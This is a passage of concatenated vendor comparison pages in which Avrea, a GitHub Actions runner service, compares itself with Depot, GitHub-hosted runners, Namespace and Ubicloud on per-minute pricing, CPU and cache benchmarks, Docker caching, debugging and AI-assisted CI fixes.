VM | Linux filters inside the runner; root can modify them | | Static IPs | Enterprise feature; $100/IP/month | Business plan with a custom deployment | ## Runner pricing Prices checked 14 October 2026. Depot’s $20/month Developer plan is limited to one user. On its published plans, more than one Depot user requires the $200/month Startup plan or a custom Business plan. Avrea’s pay-as-you-go plan has no monthly base fee for teams. [Depot plans](https://depot.dev/pricing), [Avrea pricing](https://avrea.com/pricing). | Linux runner | Avrea | Depot | | --- | --- | --- | | x86 · 2 vCPU / 8 GB | $0.004/min | $0.006/min | | x86 · 4 vCPU / 16 GB | $0.008/min | $0.012/min | | ARM64 · 2 vCPU / 8 GB | $0.012/min | $0.006/min | | ARM64 · 4 vCPU / 16 GB | $0.024/min | $0.012/min | These rates exclude included minutes, discounts and plan fees. Avrea costs one-third less per x86 minute at these sizes. The ARM runners use different hardware: Apple M5 Max for Avrea and Graviton4 for Depot. [Avrea pricing](https://avrea.com/pricing), [Depot runner types](https://depot.dev/docs/github-actions/runner-types). Avrea’s 4-vCPU ARM runner is the fastest measured in RunsOn’s [14 October 2026 PassMark results](https://runs-on.com/benchmarks/github-actions-cpu-performance/), with the highest single-thread and all-core scores, based on five runs. Depot is not included in that dataset. [Sono reports going from three minutes on Depot to two on Avrea](https://avrea.com/avrea-vs-depot#build-performance-and-customer-results), before repository-specific cache tuning. Avrea’s pay-as-you-go plan includes 3,000 monthly minutes in 2-vCPU equivalents. Larger runners use that allowance proportionally. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea plan details](https://avrea.com/pricing). Depot bundles several services into its plans: | Plan | Monthly fee | Users | GitHub Actions minutes | Docker build minutes | Cache and registry storage | | --- | --- | --- | --- | --- | --- | | Developer | $20 | 1 | 2,000 | 500 | 25 GB | | Startup | $200 | Unlimited | 20,000 | 5,000 | 250 GB | Both also include sandbox minutes shared by Depot CI, Sandboxes and Managed Agents. GitHub Actions runner minutes are a separate allowance; larger runners consume those minutes proportionally. [Depot plans](https://depot.dev/pricing), [runner multipliers](https://depot.dev/docs/github-actions/runner-types). Depot’s fee covers the allowances above across its services. Avrea bills runner and storage usage without a monthly team subscription. Our [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing) covers runner minutes, plan allowances and storage charges. ### Runner, builder and subscription costs A ten-minute job on the listed 2-vCPU x86 runners costs $0.04 on Avrea and $0.06 on Depot before included usage, plan fees or discounts. For a team moving from Depot’s Startup plan, compare its $200 monthly subscription and overages with Avrea’s runner and storage charges after included usage. Depot’s subscription covers several services, so the value of its allowances depends on how much of the bundle the team uses. Depot Docker workflows can incur both runner and remote-builder charges. Avrea runs the Docker build on the runner itself. ## Docker builds Both Avrea and Depot support persistent storage for Docker caching. Depot runs builds on remote BuildKit builders with native multi-platform support. The same build service works from your laptop and CI. [Depot Container Builds](https://depot.dev/docs/container-builds/overview). Avrea runs Docker builds on its runners, with persistent disks that retain images, layers and builder state between jobs. It also offers a BuildKit cache endpoint for exporting and restoring layers. Both options let subsequent builds reuse work from earlier runs. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. [Avrea Docker setup](https://docs.avrea.com/cache/build-cache/docker/). ### Moving a Docker build to Avrea For a standard Docker build, replace the Depot build step with `docker/build-push-action` on an Avrea runner. Configure `cache-from` and `cache-to` with `type=gha,url_v2=https://cache.avrea.com/`. Use `mode=max` when exporting intermediate layers from multi-stage builds. [Docker setup on Avrea](https://docs.avrea.com/cache/build-cache/docker/). Persistent-disk caching is another option. Enable persistent disks for Linux and Docker caching in the repository’s cache settings. Container-based Buildx builders need a stable builder name and `keep-state: true` to retain their state between jobs. The first run populates the cache; subsequent builds can reuse it. [Persistent Docker cache](https://docs.avrea.com/cache/build-cache/docker/#docker-cache-on-persistent-disk). ## Other build caches Avrea automatically routes supported `actions/cache` usage to its cache. Its package proxies reuse downloads, while build-tool caches reuse valid outputs to skip repeated compilation or tasks. Avrea includes 25 GB per repository, shared across Actions, LFS, build and regular package caches, with additional cache storage available to purchase. Private Swift package payloads use separate organization storage. [Avrea caching](https://docs.avrea.com/cache/overview/), [cache storage](https://docs.avrea.com/cache/storage/). Avrea’s documented build-cache endpoints are accessible inside Avrea runners. Depot Cache also works from developer laptops and other CI providers, so developers and CI can share a remote cache. Its supported tools are pre-configured on Depot runners. Both providers support tools including Bazel, Go, Gradle, Turborepo, Nx and sccache. [Avrea build-cache scope](https://docs.avrea.com/cache/build-cache/overview/), [Depot Cache](https://depot.dev/docs/cache/overview). Avrea cache entries that haven’t been used for more than seven days can be evicted. Depot Cache defaults to 14-day retention with no configured size cap, and charges for storage beyond your plan’s allowance. [Avrea storage policy](https://docs.avrea.com/cache/storage/), [Depot retention and storage billing](https://depot.dev/docs/cache/overview). Our [GitHub Actions caching guide](https://avrea.com/blog/github-actions-cache) covers cache keys and restore behavior. ## Build performance and customer results ### Sono’s move from Depot Sono reports that a build taking three minutes on Depot ran in two on Avrea, before repository-specific cache tuning. The team migrated in about fifteen minutes across a couple of pull requests, starting from an already optimized pipeline with parallel builds and an ARM integration suite. [Read Sono’s case study](https://avrea.com/case-studies/sono). This is a customer migration result; the case study does not specify matching runner sizes or repeat counts. ## Debugging and AI-assisted fixes Avrea includes searchable logs, CPU and memory metrics, and SSH into running jobs. Depot also provides metrics for its GitHub Actions runners. [Avrea logs and metrics](https://avrea.com/observability), [Avrea included features](https://avrea.com/pricing), [Avrea debugging](https://docs.avrea.com/debugging/), [Depot runner metrics](https://depot.dev/docs/github-actions/observability/github-actions-metrics). Avrea shows failure and flake trends for workflows and jobs, plus cache diagnostics for individual runs. Depot shows per-test results from JUnit reports; uploading those reports takes an additional workflow action. [Avrea analytics](https://docs.avrea.com/observability/), [Avrea cache diagnostics](https://docs.avrea.com/cache/stats/), [Depot test reports](https://depot.dev/docs/github-actions/observability/github-actions-test-results). ### CI fixes and coding agents In Depot, [Sherlock](https://depot.dev/docs/ai-at-depot) can read the job’s logs and help with the investigation. [Avrea AI](https://avrea.com/quality) uses logs, code changes and test history to propose a fix, runs your full test suite and opens a PR if it passes. The [Avrea CLI](https://docs.avrea.com/cli/) lets coding agents read failed-step logs, watch runs and dispatch GitHub workflows. [Depot CI](https://depot.dev/docs/ci/overview) supports another approach: an agent can test local, uncommitted changes, read a failure and retry without pushing each attempt. Its AI error summaries also point back to the failed step. Using Depot CI involves migrating workflows; changing to Depot’s GitHub Actions runners alone does not give you that workflow. Avrea has sandboxes. [Depot Managed Agents](https://depot.dev/docs/agents/overview) connects supported coding agents to Depot Sandboxes. These share an included compute allowance with Depot CI, separate from GitHub Actions runner minutes. Additional sandbox compute is billed per vCPU-second. ## Network access and your own AWS account Both providers offer static IPs. Avrea lists them under its Enterprise features at $100 per IP per month. Depot provides static outbound IPs through a NAT gateway in a custom deployment on its Business plan. [Avrea static IP pricing](https://avrea.com/pricing), [Depot private-resource access](https://depot.dev/docs/github-actions/how-to-guides/access-private-resources). Both providers let you restrict outbound network traffic. Avrea enforces its Enterprise firewall outside the runner VM, where the build cannot change the rules. Depot’s Linux runner filters operate inside the runner; its documentation says a process with root access can modify them. [Avrea firewall](https://docs.avrea.com/egress-firewall/), [Avrea plans](https://avrea.com/pricing), [Depot egress filters](https://depot.dev/docs/github-actions/how-to-guides/egress-filtering). Both allow outbound traffic by default, and some services remain reachable after you set restrictions. Avrea has exceptions for GitHub services and Azure Blob Storage. Depot has allowances for its own services, GitHub Actions and AWS. [Avrea exceptions](https://docs.avrea.com/egress-firewall/), [Depot exceptions](https://depot.dev/docs/github-actions/how-to-guides/egress-filtering). On its Business plan, Depot Managed can run compute and keep cache data in your own AWS account. [Depot Managed](https://depot.dev/docs/managed/overview). ## Related reading Other comparisons: [Blacksmith](https://avrea.com/avrea-vs-blacksmith), [Namespace](https://avrea.com/avrea-vs-namespace), [WarpBuild](https://avrea.com/avrea-vs-warpbuild), [Ubicloud](https://avrea.com/avrea-vs-ubicloud) and [GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). See [all comparisons](https://avrea.com/alternatives). For more about Avrea, see [runner performance and caching](https://avrea.com/ci-runners) and [security controls](https://avrea.com/trust-security). To compare every option for teams moving off Depot, including where each one runs Docker builds, see [Depot alternatives](https://avrea.com/depot-alternatives). ## Test Avrea with your current workflow Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/). Start with one build or test job, keeping the commit, toolchain, architecture and runner size fixed. Use `avrea-ubuntu-latest` for the standard 2-vCPU / 8-GB Linux x86 runner, or select the size that matches your current job. Configure the job to use Avrea’s [Docker cache](https://docs.avrea.com/cache/build-cache/docker/) or the relevant [build-tool integration](https://docs.avrea.com/cache/build-cache/overview/). Compare the complete build against your current Depot workflow, including a cold run, a warm run and a typical source change. Record total completion time and the resulting runner, builder and storage charges. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-github-hosted-runners # Avrea vs GitHub-hosted runners Compare Avrea and GitHub-hosted runners on paid rates, included minutes, CPU and cache performance, debugging and AI-assisted fixes. Avrea runs your GitHub Actions jobs while workflows and pull-request checks stay in GitHub. Compare paid rates, included usage and caching before changing runners. *Avrea vs GitHub-hosted runners: feature comparison* | Feature | Avrea | GitHub-hosted runners | | --- | --- | --- | | Operating systems | [Linux, Windows and macOS](https://docs.avrea.com/runners/) | [Linux, Windows and macOS](https://docs.github.com/en/actions/reference/runners/github-hosted-runners) | | Workflow files and PR checks | Keep GitHub Actions; change selected runner labels | Use GitHub runner labels | | Paid Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.006/min | | Public repositories | Avrea's monthly allowance applies | Standard runners are free | | Private repositories | 3,000 monthly minutes in 2-vCPU equivalents | Shared compute credit by plan; eligible larger runners included on Team and Enterprise Cloud | | Caching | Automatic actions/cache integration, build-tool caches and paid persistent disks | GitHub's Actions cache service | | Debugging | GitHub checks plus Avrea logs, resource metrics and live SSH | Workflow logs and additional debug logging | | Static IPs | [Enterprise feature; $100/IP/month](https://avrea.com/pricing) | [Linux and Windows larger runners on Enterprise Cloud](https://docs.github.com/en/actions/how-tos/manage-runners/larger-runners/manage-larger-runners) | | AI-generated pull requests | Avrea AI proposes CI fixes, tests them and opens PRs | Copilot cloud agent takes on coding tasks and opens PRs | GitHub’s AI products are separate from its runner offering. ## Keep GitHub Actions After connecting Avrea, change the `runs-on` label for the jobs you want to move. GitHub continues to handle triggers, dependencies between jobs, pull-request checks and deployment rules. [Runner labels and setup](https://docs.avrea.com/getting-started/). Our [guide to GitHub Actions runners](https://avrea.com/blog/github-actions-runners) explains hosted, self-hosted and third-party runners. If you are considering a different CI system as well, see the broader [GitHub Actions alternatives guide](https://avrea.com/github-actions-alternatives). ## Runner pricing Prices checked 14 October 2026. Avrea’s paid Linux x86 rates are one-third lower at the sizes below. Its ARM runners have a higher minute rate and the highest measured ARM CPU scores in RunsOn’s 4-vCPU PassMark results. The [CPU table](https://avrea.com/avrea-vs-github-hosted-runners#cpu-benchmarks) shows both architectures. | Linux runner | Avrea | GitHub-hosted | | --- | --- | --- | | x86 · 2 vCPU / 8 GB | $0.004/min | $0.006/min | | x86 · 4 vCPU / 16 GB | $0.008/min | $0.012/min | | ARM64 · 2 vCPU / 8 GB | $0.012/min | $0.005/min | | ARM64 · 4 vCPU / 16 GB | $0.024/min | $0.008/min | These are paid compute rates before included usage or discounts. The 4-vCPU GitHub rates are for paid larger runners. [Avrea pricing](https://avrea.com/pricing), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing), [GitHub runner specifications](https://docs.github.com/en/actions/reference/runners/github-hosted-runners). ### Free and included usage Standard GitHub-hosted runners are free for public repositories, including the standard 4-vCPU / 16-GB x86 and ARM shapes. GitHub plans include $12 to $300 per month for eligible compute. Private and internal repository runners share it with cloud sandbox compute and memory. Eligible larger runners can also draw on it on Team and Enterprise Cloud; larger runners are still charged in public repositories. [GitHub Actions billing](https://docs.github.com/en/billing/concepts/product-billing/github-actions). Avrea includes 3,000 monthly minutes in 2-vCPU equivalents and has no monthly base fee. Larger runners consume more of the allowance. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea plan details](https://avrea.com/pricing). Our [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing) covers the other costs, including storage. ### Compare cost and feedback time A ten-minute job at the listed 2-vCPU x86 rates costs $0.04 on Avrea or $0.06 on GitHub before allowances. If it also finishes sooner on Avrea, fewer billed minutes reduce the compute cost further. Billed execution time excludes queueing. PR feedback also depends on the other jobs required before merging. ## CPU benchmarks Avrea scores higher on both x86 and ARM in RunsOn’s 14 October 2026 PassMark results. These are 4-vCPU / 16-GB runners, with each result the median of five runs. | 4-vCPU runner | Avrea | GitHub-hosted | | --- | --- | --- | | x86 · PassMark single-thread | 4,243 | 2,888 | | x86 · PassMark CPU Mark, all cores | 11,174 | 7,510 | | ARM64 · PassMark single-thread | 4,860 | 1,877 | | ARM64 · PassMark CPU Mark, all cores | 8,388 | 3,974 | These tests isolate CPU performance. Complete build times also depend on downloads, cache reuse and I/O. RunsOn sells runners and publishes its test code and methodology. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). Data: RunsOn, [CC BY 4.0](https://runs-on.com/benchmarks/methodology/); selected rows, shortened labels. ## Actions cache benchmarks In RunsOn’s 14 October 2026 cache results, these 4-vCPU / 16-GB x86 runners saved and immediately restored a 4 GB file: | Operation | Avrea | GitHub-hosted | | --- | --- | --- | | Restore | 14 seconds | 34 seconds | | Save | 20 seconds | 20 seconds | Avrea restores faster in this test; save times are equal. This is a cache-transfer benchmark, not an end-to-end build result. [RunsOn cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/). Each result uses five runs. RunsOn sells runners too. Data: RunsOn, [CC BY 4.0](https://runs-on.com/benchmarks/methodology/); selected rows, shortened labels. Our [runner benchmark guide](https://avrea.com/blog/fastest-github-actions-runners) covers setup time, dependency downloads and build-cache reuse alongside these transfer measurements. ## Caching On Avrea, supported `actions/cache` usage is routed to Avrea’s cache automatically. Package proxies reuse downloads, and integrations for Turborepo, Gradle, Bazel and sccache reuse valid build outputs. That can remove compilation or other tasks from a repeat build, beyond the transfer-time improvement measured above. [Avrea cache documentation](https://docs.avrea.com/cache/overview/), [build-cache setup](https://docs.avrea.com/cache/build-cache/overview/). Existing Actions cache keys and restore logic continue to apply. For Docker builds, Avrea’s persistent disks retain images, layers and builder state between jobs. You can also export layers to its BuildKit cache endpoint. The Docker guide covers both configurations. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. [Docker caching on Avrea](https://docs.avrea.com/cache/build-cache/docker/). Our [GitHub Actions caching guide](https://avrea.com/blog/github-actions-cache) covers cache keys, restore behavior and build-tool caches. ### File caches and build-output caches GitHub’s Actions cache restores files selected by the workflow. Turborepo, Gradle and compiler caches can reuse valid build outputs for the current inputs, allowing unchanged tasks to be skipped. [GitHub dependency caching](https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching). A large cached directory can take longer to restore than the work it saves. In that case, a narrower cache or a tool-level output cache can reduce job time. ## Debugging and AI-assisted fixes A job can fail without its logs explaining whether it ran out of memory or hit a CPU bottleneck. [Avrea’s resource metrics](https://avrea.com/observability) help answer those questions, and SSH lets you inspect the job while it is running. GitHub’s [workflow logs](https://docs.github.com/en/actions/how-tos/monitor-workflows/use-workflow-run-logs) and [debug logging](https://docs.github.com/en/actions/how-tos/monitor-workflows/enable-debug-logging) remain available too. [Avrea AI](https://avrea.com/quality) takes the investigation through to a proposed change: it uses logs, code changes and test history, runs the fix through your full test suite and opens a PR if it passes. Your team reviews the result. GitHub offers ways to delegate this work too. [Copilot cloud agent](https://docs.github.com/en/enterprise-cloud@latest/copilot/concepts/copilot-surfaces/copilot-on-github) can take on code changes and open pull requests. [GitHub Agentic Workflows](https://docs.github.com/en/copilot/concepts/agents/about-github-agentic-workflows) can investigate CI failures and suggest fixes, and are now generally available. They require an AI engine and workflow configuration. Avrea also offers sandboxes for work that needs a remote execution environment. Avrea offers static IPs at $100 per IP per month, listed under its Enterprise features. GitHub supports static IP ranges for Linux and Windows larger runners on Enterprise Cloud; macOS larger runners do not support them. [Avrea static IP pricing](https://avrea.com/pricing), [GitHub static IP configuration](https://docs.github.com/en/actions/how-tos/manage-runners/larger-runners/manage-larger-runners). Avrea documents its [security controls](https://avrea.com/trust-security) and [GitHub App permissions](https://docs.avrea.com/getting-started/). ## What changed for Zero [Zero’s case study](https://avrea.com/case-studies/zero) describes moving sixteen GitHub Actions workflow files to Avrea while keeping the existing actions and Docker builds. One PR typecheck fell from five minutes of waiting to one. API deployments became roughly twice as fast without application-code changes. ## Related reading - [Avrea pricing](https://avrea.com/pricing): current rates, runner sizes and included features. - [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing): how to understand and reduce the bill. - [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith): CPU and cache benchmarks, Docker caching and AI-assisted fixes. - [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild): equal x86 minute rates, cache benchmarks and BYOC. - [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud): managed runner prices, standard and premium tiers, caching. - [All runner comparisons](https://avrea.com/alternatives): Blacksmith, Depot, Namespace, WarpBuild, Ubicloud and GitHub-hosted runners. ## Try one job on Avrea Follow the [setup guide](https://docs.avrea.com/getting-started/) to connect your repository. For a standard 2-vCPU / 8-GB Linux x86 test, change the selected job’s label to `avrea-ubuntu-latest`. Check the size explicitly if your baseline is a public-repository runner or a paid larger runner; the defaults are not always the same. Run the same commits several times on both providers with matching resources. Include a cold cache, a warm run and a normal source change. Record the full workflow’s completion time as well as the selected job’s time, since parallel jobs may change what the developer actually waits for. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-namespace # Avrea vs Namespace Compare Avrea and Namespace on runner pricing, CPU benchmarks, caching, CI fixes and environments for coding agents. Avrea and Namespace both run GitHub Actions jobs and offer persistent storage for caching. Compare their runner rates, cache setup and debugging tools. *Avrea vs Namespace: feature comparison* | Feature | Avrea | Namespace | | --- | --- | --- | | Operating systems | [Linux, Windows and macOS](https://docs.avrea.com/runners/) | [Linux, Windows and macOS](https://namespace.so/docs/solutions/github-actions) | | Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.004/min prepaid; $0.006/min overage | | Billing model | No monthly base fee; included runner minutes | Developer and prepaid plans; CPU and memory determine compute units | | Cache approach | Persistent disks ($0.50/provisioned GB/month), automatic actions/cache integration and build-tool caches | Local NVMe Cache Volumes plus native build-system integrations; configured through profiles and tools | | Docker builds | Persistent disks ($0.50/provisioned GB/month) and a BuildKit cache endpoint for Docker caching | Remote Builders enabled by default, plus Docker image caching | | Remote environments | Sandboxes | Devboxes for developers and coding agents; macOS desktop controls | | Performance evidence | CPU and Actions cache results below | CPU and Actions cache results below; Cache Volumes are not tested there | ## Runner pricing Prices checked 14 October 2026. At these x86 sizes, Avrea’s per-minute rate matches Namespace’s prepaid rate and is lower than Namespace’s overage rate. | Linux x86 runner | Avrea | Namespace prepaid | Namespace overage | | --- | --- | --- | --- | | 2 vCPU / 8 GB | $0.004/min | $0.004/min | $0.006/min | | 4 vCPU / 16 GB | $0.008/min | $0.008/min | $0.012/min | Namespace also offers a smaller-memory 2-vCPU / 4-GB shape at $0.002 prepaid or $0.003 overage per minute. Its Linux billing uses the higher of vCPU count or RAM in GB divided by two, which makes the matched 2-vCPU / 8-GB shape four compute units. [Namespace pricing](https://namespace.so/pricing). Namespace has a $0-per-month Developer plan and prepaid plans starting at $100 per month. Cache volumes and snapshots have separate usage charges and plan allowances. [Plan details](https://namespace.so/pricing). Avrea has no monthly base fee and includes 3,000 monthly minutes in 2-vCPU equivalents. Larger runners use the allowance proportionally. It includes 25 GB of cache storage per repository, with additional cache storage available to purchase. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea pricing](https://avrea.com/pricing), [cache storage](https://docs.avrea.com/cache/storage/). Avrea also offers static IPs at $100 per IP per month, listed under its Enterprise features. [Static IP pricing](https://avrea.com/pricing). For included usage and storage costs, see our [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing). ### Compare a completed job For a ten-minute job at the matched 2-vCPU / 8-GB size, compute costs $0.04 on Avrea, $0.04 on Namespace prepaid, or $0.06 at Namespace’s overage rate, before allowances and storage. The equal prepaid minute rate makes job duration and cache charges the main variables in that comparison. ## CPU benchmarks These are RunsOn’s 14 October 2026 results for 4-vCPU / 16-GB x86 runners. | PassMark test | Avrea | Namespace | | --- | --- | --- | | Single-thread | 4,243 | 4,647 | | CPU Mark, all cores | 11,174 | 16,134 | Each row uses five runs. These CPU scores do not measure complete builds. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). Data: RunsOn, [CC BY 4.0](https://runs-on.com/benchmarks/methodology/); selected rows, shortened labels. Namespace has the higher CPU scores in this sample; Avrea restores the Actions cache faster in the test below. ## Actions cache benchmarks RunsOn’s 14 October 2026 results compare `actions/cache` transfers of a 4 GB file. These are the 4-vCPU / 16-GB x86 results: | Operation | Avrea cache on Avrea | GitHub cache on Namespace; Cache Volumes not tested | | --- | --- | --- | | Restore | 14 seconds | 18 seconds | | Save | 20 seconds | 13 seconds | Avrea restores faster; Namespace saves faster. The test does **not** measure Namespace Cache Volumes. It uses GitHub’s cache service on Namespace and Avrea’s cache on Avrea. [RunsOn results and exclusions](https://runs-on.com/benchmarks/github-actions-cache-performance/). These five-run samples measure cache transfers, not complete builds. RunsOn sells runners too. Data: RunsOn, [CC BY 4.0](https://runs-on.com/benchmarks/methodology/); selected rows, shortened labels. ## Caching Avrea automatically routes supported `actions/cache` requests to its cache. Package proxies reuse downloads, while integrations for Turborepo, Gradle, Bazel and sccache reuse valid build outputs to skip repeated work. Persistent disks also retain Docker images, layers and builder state between jobs. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. [Avrea caching](https://docs.avrea.com/cache/overview/), [build-cache setup](https://docs.avrea.com/cache/build-cache/overview/). Namespace’s persistent-storage option is Cache Volumes. A runner gets a clone of cached data on local NVMe storage, so it can use that data without a separate cache download. You configure a cache volume on the runner profile and select what to cache through Namespace’s action or directory mappings. Namespace also supports Docker image caching and custom runner images. [Namespace Cache Volumes](https://namespace.so/blog/zero-latency-caching), [cache action](https://github.com/namespacelabs/nscloud-cache-action). Namespace also configures Remote Builders for Docker by default. Its migration guide says to remove `docker/setup-buildx-action` if it overrides that configuration. [Namespace Docker setup](https://namespace.so/docs/solutions/github-actions#faster-docker-builds). Namespace also documents native caching integrations for Bazel, Turborepo, Pants and Moonrepo. Its caching options include both persistent files and build-system integrations. [Namespace build-system integrations](https://namespace.so/docs/solutions/github-actions#enable-build-system-integrations). Our [caching guide](https://avrea.com/blog/github-actions-cache) covers cache keys and invalidation; our [runner benchmark guide](https://avrea.com/blog/fastest-github-actions-runners) explains how cache reuse affects complete job times. ### Docker cache configuration Avrea’s Docker cache uses either a BuildKit cache URL or persistent-disk configuration. Namespace Cache Volumes use runner profiles and directory or tool selection. [Avrea Docker setup](https://docs.avrea.com/cache/build-cache/docker/), [Namespace cache action](https://github.com/namespacelabs/nscloud-cache-action). ## CI fixes and environments for coding agents ### Fixing failed CI jobs When a test fails, [Avrea AI](https://avrea.com/quality) uses the logs, code changes and test history to work on a fix. It runs the proposed change through your full test suite and opens a pull request if it passes. The PR is ready for your team to review. [Avrea’s logs and resource metrics](https://avrea.com/observability) show what happened before a process died, including whether memory use climbed. SSH access lets you inspect a job while it is still running. ### Remote environments Avrea offers sandboxes. [Namespace Devboxes](https://namespace.so/devbox) provide development environments for running a codebase with its tests, dependencies and services. Developers and agents can configure them through an SDK, CLI or web interface, with SSH access for debugging. On macOS, Namespace’s CLI and TypeScript SDK can also capture screenshots and control desktop apps. An agent can use these [desktop controls](https://namespace.so/docs/devbox/computer-use) to check a UI as well as run terminal commands. ## Related reading - [Avrea pricing](https://avrea.com/pricing): current runner sizes, rates and included features. - [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith): CPU benchmarks, caching and AI-assisted fixes. - [Avrea vs Depot](https://avrea.com/avrea-vs-depot): runner costs, Docker builds and remote caches. - [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild): equal x86 minute rates, cache benchmarks and BYOC. - [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud): managed runner prices, standard and premium tiers, caching. - [All runner comparisons](https://avrea.com/alternatives): including GitHub-hosted runners. ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/). Use matching architecture, CPU, memory and toolchain versions. The default `avrea-ubuntu-latest` label selects a 2-vCPU / 8-GB Linux x86 runner; use another size when needed. Compare a cold build, a warm repeat and a realistic source or dependency change. Run each more than once, record the middle and slower results, and include queue time, retries, cache-volume costs and snapshot charges. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-ubicloud # Avrea vs Ubicloud Evaluating Avrea as a Ubicloud alternative? Compare managed GitHub Actions runners on standard and premium pricing, caching, benchmarks and CI tools. Both provide managed GitHub Actions runners. Ubicloud has lower listed minute rates; Avrea also supports Windows and macOS jobs. ## Two products with different scope With Avrea, you keep GitHub Actions and move jobs onto Avrea-managed infrastructure. Caches reuse dependencies and build outputs, resource metrics help explain slow or failed steps, and Avrea AI proposes changes validated against your tests. [Avrea runners](https://docs.avrea.com/runners/), [observability](https://avrea.com/observability), [Avrea AI](https://avrea.com/quality). Ubicloud’s managed GitHub runners are also a hosted service. You do not need to lease servers or run its control plane to use them. Separately, its open-source cloud software can be deployed on bare-metal infrastructure to provide services such as virtual machines, networking and storage. [Ubicloud overview](https://www.ubicloud.com/docs/overview), [build your own cloud](https://www.ubicloud.com/docs/quick-start/build-your-own-cloud). The prices below compare **managed GitHub Actions runners**. Ubicloud’s general-purpose VM pricing and self-hosted infrastructure costs are outside that comparison. *Avrea vs Ubicloud: features at a glance* | Feature | Avrea | Ubicloud managed GitHub runners | | --- | --- | --- | | Operating systems | Linux, macOS and Windows | Ubuntu Linux | | Architectures | x86 and Apple M5 Max ARM options | x86 standard and premium; ARM runners | | Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.00125/min standard; $0.002/min premium | | Actions cache integration | Automatic with supported Actions cache and setup actions | Transparent cache enabled by default | | Included cache storage | 25 GB per repository; more available to purchase | 30 GB per repository, or 100 GB with premium enabled; more available to purchase | | Live debugging | SSH into running jobs | SSH through the `ubicloud/ssh-runner` action | | Product scope | Managed CI runners, caching, observability and Avrea AI | Managed runners within a broader open-source cloud platform | [Avrea runners](https://docs.avrea.com/runners/) and [cache storage](https://docs.avrea.com/cache/storage/). [Ubicloud runner types](https://www.ubicloud.com/docs/github-actions-integration/runner-types), [cache](https://www.ubicloud.com/docs/github-actions-integration/ubicloud-cache) and [SSH debugging](https://www.ubicloud.com/docs/github-actions-integration/debug-workflow-with-ssh). ## Managed runner pricing Prices checked 15 October 2026. Ubicloud has lower Linux x86 minute rates at these matched CPU and memory sizes. Avrea combines runner compute with build-tool caches, CI diagnostics and Avrea AI, which tests proposed fixes. *Avrea vs Ubicloud: managed runner pricing* | Linux x86 runner | Avrea | Ubicloud standard | Ubicloud premium | | --- | --- | --- | --- | | 2 vCPU / 8 GB | $0.004/min | $0.00125/min | $0.002/min | | 4 vCPU / 16 GB | $0.008/min | $0.0025/min | $0.004/min | | 8 vCPU / 32 GB | $0.016/min | $0.005/min | $0.008/min | Avrea is pay as you go with no monthly base fee and 3,000 monthly minutes in 2-vCPU equivalents. Ubicloud gives each account $2.50 in monthly credit, equivalent to 1,250 premium 2-vCPU minutes. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea pricing](https://avrea.com/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing). For 10,000 runner minutes at 2 vCPU / 8 GB, compute is $40 on Avrea, $12.50 on Ubicloud standard and $20 on premium before credits and allowances. These totals assume the same runtime on each provider; the benchmarks below show why runtime can differ. ### Standard and premium are separate tiers Ubicloud enables premium runners by default for new users. Jobs fall back to the standard fleet when premium capacity is busy, and billing follows the runner used. The account setting can be switched off to use standard runners. [Premium runner settings](https://www.ubicloud.com/docs/github-actions-integration/use-premium-runners). Premium x86 uses AMD Ryzen 9 7950X3D processors and has its own per-minute rate. The benchmark tables below identify the tier tested. Ubicloud runs jobs in Europe by default. Its US fleet can be enabled per account, supports standard runners only and has more limited concurrency. [Runner placement](https://www.ubicloud.com/docs/github-actions-integration/runner-types#us-runners). ### ARM, macOS and Windows Avrea’s Linux ARM machines use Apple M5 Max hardware. A 2-vCPU / 8-GB Avrea ARM runner is $0.012/min; Ubicloud’s 2-vCPU ARM runner is $0.00125/min with 6 GB. [Avrea pricing](https://avrea.com/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing). Avrea leads RunsOn’s 4-vCPU ARM single-thread comparison at 4,860, versus Ubicloud’s 1,311. RunsOn lists 16 GB for both test machines, while Ubicloud’s current catalog lists 12 GB for its 4-vCPU ARM runner. These CPU scores show per-core performance, not complete build cost. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/), [Ubicloud specifications](https://www.ubicloud.com/docs/about/pricing). Avrea also provides macOS and Windows runners. Ubicloud’s managed GitHub runner catalog lists Ubuntu, so teams building Apple or Windows applications have a different OS requirement to account for. [Avrea runner catalog](https://docs.avrea.com/runners/), [Ubicloud runner catalog](https://www.ubicloud.com/docs/github-actions-integration/runner-types). ## CPU and cache benchmarks RunsOn’s 14 October 2026 dataset covers the same three x86 sizes as the pricing table. Each row below compares matching CPU and memory allocations; higher scores are better. The CPU scores on this page are medians 